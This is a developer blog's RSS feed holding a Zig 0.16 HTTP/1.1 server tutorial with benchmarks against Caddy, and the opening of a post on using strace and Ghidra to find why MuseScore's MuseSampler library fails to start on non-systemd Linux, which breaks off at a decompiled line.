<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>doprz</title><link>https://doprz.dev/</link><description>Recent content on doprz</description><generator>Hugo -- 0.153.3</generator><language>en-us</language><lastBuildDate>Tue, 21 Apr 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://doprz.dev/index.xml" rel="self" type="application/rss+xml"/><item><title>Writing a Simple yet Performant HTTP/1.1 Server in Zig 0.16</title><link>https://doprz.dev/blog/posts/zig-http-server/</link><pubDate>Tue, 21 Apr 2026 00:00:00 +0000</pubDate><guid>https://doprz.dev/blog/posts/zig-http-server/</guid><description>&lt;p&gt;If you&amp;rsquo;ve written network code in earlier versions of Zig or in C, then the patterns here will feel familiar. This post walks through building a minimal HTTP/1.1 server using nothing but the Zig standard library.&lt;/p&gt;
&lt;p&gt;The full source code for this blog post is available as a self-contained &lt;code&gt;main.zig&lt;/code&gt; and &lt;code&gt;main-async.zig&lt;/code&gt; with no external dependencies other than the Zig 0.16 standard library on &lt;a href="https://github.com/doprz/zig-http-server"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="a-brief-history-of-io-in-zig"&gt;A Brief History of I/O In Zig&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Zig 0.15.1&lt;/strong&gt; - &amp;ldquo;Writergate&amp;rdquo;: All existing &lt;code&gt;std.io&lt;/code&gt; readers and writers were deprecated in favor of the new &lt;code&gt;std.Io.Reader&lt;/code&gt; and &lt;code&gt;std.Io.Writer&lt;/code&gt;. These are non-generic structs that hold both a vtable pointer and buffer. The buffer lives in the interface and not in the implementation.&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ziglang.org/download/0.15.1/release-notes.html#Writergate"&gt;https://ziglang.org/download/0.15.1/release-notes.html#Writergate&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Zig 0.16&lt;/strong&gt; - &lt;code&gt;Io&lt;/code&gt; Instance and &amp;ldquo;Juicy Main&amp;rdquo;: All input and output functionality requires being passed in an &lt;code&gt;Io&lt;/code&gt; instance. In addition to this, the classic &lt;code&gt;pub fn main() !void&lt;/code&gt; signature is replaced by adding a new parameter to main: &lt;code&gt;std.process.Init&lt;/code&gt; or also known as &amp;ldquo;Juicy Main&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ziglang.org/download/0.16.0/release-notes.html#IO-as-an-Interface"&gt;https://ziglang.org/download/0.16.0/release-notes.html#IO-as-an-Interface&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ziglang.org/download/0.16.0/release-notes.html#Juicy-Main"&gt;https://ziglang.org/download/0.16.0/release-notes.html#Juicy-Main&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-two-layer-model"&gt;The Two-Layer Model&lt;/h2&gt;
&lt;p&gt;One thing that trips up newcomers is that there are two distinct &amp;ldquo;servers&amp;rdquo; in the code, however, they operate at different levels of the network stack and it&amp;rsquo;s worth keeping this in mind moving forward.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The TCP Server&lt;/strong&gt; (&lt;code&gt;std.Io.net&lt;/code&gt;) - binds a port, accepts connections, and gives you a raw byte stream.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The HTTP Server&lt;/strong&gt; (&lt;code&gt;std.http.Server&lt;/code&gt;) - sits on top of that stream and parses it as HTTP/1.1.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="code-explained"&gt;Code Explained&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; std &lt;span style="color:#f92672"&gt;=&lt;/span&gt; @import(&lt;span style="color:#e6db74"&gt;&amp;#34;std&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; log &lt;span style="color:#f92672"&gt;=&lt;/span&gt; std.log.&lt;span style="color:#a6e22e"&gt;scoped&lt;/span&gt;(.server);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; LISTEN_ADDR &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;127.0.0.1&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; LISTEN_PORT &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;startServer&lt;/span&gt;(io&lt;span style="color:#f92672"&gt;:&lt;/span&gt; std.Io) &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; log.&lt;span style="color:#a6e22e"&gt;info&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Listening on http://{s}:{d}&amp;#34;&lt;/span&gt;, .{ LISTEN_ADDR, LISTEN_PORT });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; addr &lt;span style="color:#f92672"&gt;=&lt;/span&gt; std.Io.net.IpAddress.&lt;span style="color:#a6e22e"&gt;parseIp4&lt;/span&gt;(LISTEN_ADDR, LISTEN_PORT) &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;unreachable&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// TCP layer: bind the port and accept the raw streams
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; server &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; addr.&lt;span style="color:#a6e22e"&gt;listen&lt;/span&gt;(io, .{ .reuse_address &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;defer&lt;/span&gt; server.&lt;span style="color:#a6e22e"&gt;deinit&lt;/span&gt;(io);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; log.&lt;span style="color:#a6e22e"&gt;info&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Waiting for connection...&amp;#34;&lt;/span&gt;, .{});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; stream &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; server.&lt;span style="color:#a6e22e"&gt;accept&lt;/span&gt;(io);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;defer&lt;/span&gt; stream.&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;(io);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; log.&lt;span style="color:#a6e22e"&gt;info&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;TCP connection established&amp;#34;&lt;/span&gt;, .{});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// Wrap the raw stream in buffered Io.Reader / Io.Writer
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; read_buffer&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;]&lt;span style="color:#66d9ef"&gt;u8&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; write_buffer&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;]&lt;span style="color:#66d9ef"&gt;u8&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;undefined&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; reader &lt;span style="color:#f92672"&gt;=&lt;/span&gt; stream.&lt;span style="color:#a6e22e"&gt;reader&lt;/span&gt;(io, &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;read_buffer);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; writer &lt;span style="color:#f92672"&gt;=&lt;/span&gt; stream.&lt;span style="color:#a6e22e"&gt;writer&lt;/span&gt;(io, &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;write_buffer);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// HTTP layer: parse the byte stream at HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; http_server &lt;span style="color:#f92672"&gt;=&lt;/span&gt; std.http.Server.&lt;span style="color:#a6e22e"&gt;init&lt;/span&gt;(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;reader.interface, &lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;writer.interface);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; req &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; http_server.&lt;span style="color:#a6e22e"&gt;receiveHead&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; log.&lt;span style="color:#a6e22e"&gt;info&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;{s} {s}&amp;#34;&lt;/span&gt;, .{ @tagName(req.head.method), req.head.target });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; req.&lt;span style="color:#a6e22e"&gt;respond&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Hello World!&amp;#34;&lt;/span&gt;, .{ .status &lt;span style="color:#f92672"&gt;=&lt;/span&gt; .ok });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; log.&lt;span style="color:#a6e22e"&gt;info&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Response sent, closing connection&amp;#34;&lt;/span&gt;, .{});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;pub&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;(init&lt;span style="color:#f92672"&gt;:&lt;/span&gt; std.process.Init) &lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; log.&lt;span style="color:#a6e22e"&gt;info&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Starting server&amp;#34;&lt;/span&gt;, .{});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;startServer&lt;/span&gt;(init.io);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="concurrency-and-performance"&gt;Concurrency and Performance&lt;/h2&gt;
&lt;p&gt;This server currently can only handle one connection at a time. If we want multiple connections and better performance we can do 4 things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;std.Io.Group&lt;/code&gt; - Each accepted connection is handed off to &lt;code&gt;handleStream&lt;/code&gt; as it&amp;rsquo;s own async task. This lets the server accept new connections while existing ones are still being served.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; group&lt;span style="color:#f92672"&gt;:&lt;/span&gt; std.Io.Group &lt;span style="color:#f92672"&gt;=&lt;/span&gt; .init;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;defer&lt;/span&gt; group.&lt;span style="color:#66d9ef"&gt;cancel&lt;/span&gt;(io);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; stream &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; server.&lt;span style="color:#a6e22e"&gt;accept&lt;/span&gt;(io);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; group.&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt;(io, handleStream, .{ io, stream });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; group.&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt;(io);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Keep-alive connections - The inner &lt;code&gt;while (true)&lt;/code&gt; loop in &lt;code&gt;handleStream&lt;/code&gt; is the single biggest performance lever. Without it, every request pays the full cost of a TCP handshake. With it, &lt;code&gt;wrk&lt;/code&gt; and real browsers can reuse the same connection for many requests. Running &lt;code&gt;wrk&lt;/code&gt; at this stage results in a bunch of &lt;code&gt;error.HttpConnectionClosign&lt;/code&gt; errors but we can handle it silently by just returning.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-zig" data-lang="zig"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; req &lt;span style="color:#f92672"&gt;=&lt;/span&gt; http_server.&lt;span style="color:#a6e22e"&gt;receiveHead&lt;/span&gt;() &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;err&lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;switch&lt;/span&gt; (err) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;error&lt;/span&gt;.HttpConnectionClosing &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; req.&lt;span style="color:#a6e22e"&gt;respond&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Hello World!&amp;#34;&lt;/span&gt;, .{ .status &lt;span style="color:#f92672"&gt;=&lt;/span&gt; .ok }) &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt;err&lt;span style="color:#f92672"&gt;|&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; log.&lt;span style="color:#a6e22e"&gt;err&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;failed to respond: {}&amp;#34;&lt;/span&gt;, .{err});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Buffer size - Read and write buffers are now set to 4096 bytes. The original 1024-byte buffers are small enough that a request with typical headers can require multiple reads to assemble. 4096 covers the vast majority of real-world requests in a single. Increasing the buffers to 8192 bytes shows minimal performance increases in benchmarks.&lt;/li&gt;
&lt;li&gt;No per-request logging: Logging every request through &lt;code&gt;log.info&lt;/code&gt; is a significant bottleneck under load. Removing it from the hot path while keeping error logging was one of the more impactful changes for performance. If you need per-request logging in a production environment, we would batch log writes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="benchmark"&gt;Benchmark&lt;/h1&gt;
&lt;p&gt;Command: &lt;code&gt;wrk -t4 -c100 -d10s &amp;lt;url&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4 Threads&lt;/li&gt;
&lt;li&gt;100 Connections&lt;/li&gt;
&lt;li&gt;10s Duration&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; threads and &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; connections
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Thread Stats Avg Stdev Max +/- Stdev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Latency 24.41us 12.36us 3.03ms 77.19%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Req/Sec 150.24k 4.42k 163.87k 71.29%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;4528369&lt;/span&gt; requests in 10.10s, 220.25MB read
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Requests/sec: 448351.64
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Transfer/sec: 21.81MB
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For comparison, Caddy serving &lt;code&gt;caddy respond &amp;quot;Hello World!&amp;quot;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; threads and &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt; connections
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Thread Stats Avg Stdev Max +/- Stdev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Latency 210.64us 235.88us 5.07ms 86.67%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Req/Sec 111.41k 1.73k 115.95k 75.50%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;4478865&lt;/span&gt; requests in 10.10s, 615.08MB read
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Requests/sec: 443457.86
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Transfer/sec: 60.90MB
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;~448k vs ~443k req/s is essentially identical. This is ~50 lines of straightforward Zig standard library code matching a production-hardended server.&lt;/p&gt;
&lt;p&gt;That said, this benchmark is about as favorable as it gets for a minimal server. A static &amp;ldquo;Hello World!&amp;rdquo; response with no routing, no middleware, and no &amp;ldquo;real&amp;rdquo; work to do is precisely the scenario where simplicity wins. In any benchmark that resembles real-world usage such as TLS termination, dynamic routing, HTTP/2, or serving static files - Caddy would pull ahead and by a lot. Matching its throughput on a toy benchmark is a fun result, but it says more about how well Zig&amp;rsquo;s standard library is designed than it does about production readiness. If you&amp;rsquo;re building something real, use the right tool for the job and Caddy is absolutely that for many use cases.&lt;/p&gt;
&lt;h2 id="why-zig"&gt;Why Zig&lt;/h2&gt;
&lt;p&gt;50 lines where you fully understand every allocation and what every line does is a valuable piece of code. It may not match or replace Caddy or other production-ready software but it&amp;rsquo;s about building something that you understand from start to finish and you can build upon; be it a reverse-proxy, a load-balancer, or something else.&lt;/p&gt;</description></item><item><title>Reverse Engineering MuseScore's MuseSampler Library</title><link>https://doprz.dev/blog/posts/reverse-engineering-musescore-musesampler-linux/</link><pubDate>Sun, 05 Apr 2026 00:00:00 +0000</pubDate><guid>https://doprz.dev/blog/posts/reverse-engineering-musescore-musesampler-linux/</guid><description>&lt;p&gt;MuseScore Studio 4 on Void Linux (and other non-systemd distributions) fails to
initialize its audio sampling engine, MuseSampler, with the following error:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MuseSamplerLibHandler::init | Could not init lib
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MuseSamplerResolver::init | Could not init MuseSampler: /home/&amp;lt;username&amp;gt;/.local/share/MuseSampler/lib/libMuseSamplerCoreLib.so, version: 0.105.1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;MuseScore launches and the UI works fine, but all MuseSounds instruments are
unavailable. The same AppImage with the same MuseSounds installation works
perfectly on Fedora Linux. This post documents the full investigation, including
reverse engineering the closed-source &lt;code&gt;libMuseSamplerCoreLib.so&lt;/code&gt;, and the fix.&lt;/p&gt;
&lt;h2 id="testing-environment"&gt;Testing Environment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Void Linux (glibc), runit init&lt;/li&gt;
&lt;li&gt;Artix Linux, OpenRC init&lt;/li&gt;
&lt;li&gt;Fedora Linux, systemd init&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="initial-debugging"&gt;Initial Debugging&lt;/h2&gt;
&lt;h3 id="ruling-out-missing-dependencies"&gt;Ruling Out Missing Dependencies&lt;/h3&gt;
&lt;p&gt;The first suspicion was missing
shared libraries. Running &lt;code&gt;ldd&lt;/code&gt; on the sampler library showed all dependencies
resolving cleanly with no not found entries. The system was running glibc, not
musl, so libc compatibility was not the issue.&lt;/p&gt;
&lt;h3 id="tracing-runtime-behavior"&gt;Tracing Runtime Behavior&lt;/h3&gt;
&lt;p&gt;Since &lt;code&gt;ldd&lt;/code&gt; was clean, the failure had to be
happening during runtime initialization. Extracting the AppImage into a squashfs and running
&lt;code&gt;strace&lt;/code&gt; on the binary revealed the library was opening successfully (returning a
valid file descriptor), but something during init was causing it to fail.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;symbol lookup error: /home/&amp;lt;username&amp;gt;/.local/share/MuseSampler/lib/libMuseSamplerCoreLib.so:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;undefined symbol: _ZN3DRM9AntiDebug24scheduleThreadTimedCrashEv
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Demangled, this is &lt;code&gt;DRM::AntiDebug::scheduleThreadTimedCrash()&lt;/code&gt; - a DRM callback
that the sampler library expects the host binary to export. However, this error
appeared on both the non-systemd operating systems and the working Fedora system, making
it a red herring. The dynamic library handles this missing symbol gracefully.&lt;/p&gt;
&lt;h2 id="reverse-engineering-with-ghidra"&gt;Reverse Engineering with Ghidra&lt;/h2&gt;
&lt;h3 id="process-name-whitelist"&gt;Process Name Whitelist&lt;/h3&gt;
&lt;p&gt;Reverse engineering &lt;code&gt;libMuseSamplerCoreLib.so&lt;/code&gt; in Ghidra revealed the &lt;code&gt;ms_init&lt;/code&gt;
function. Near the top of the function is an early-exit check:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; cVar2 &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;FUN_00406510&lt;/span&gt;();
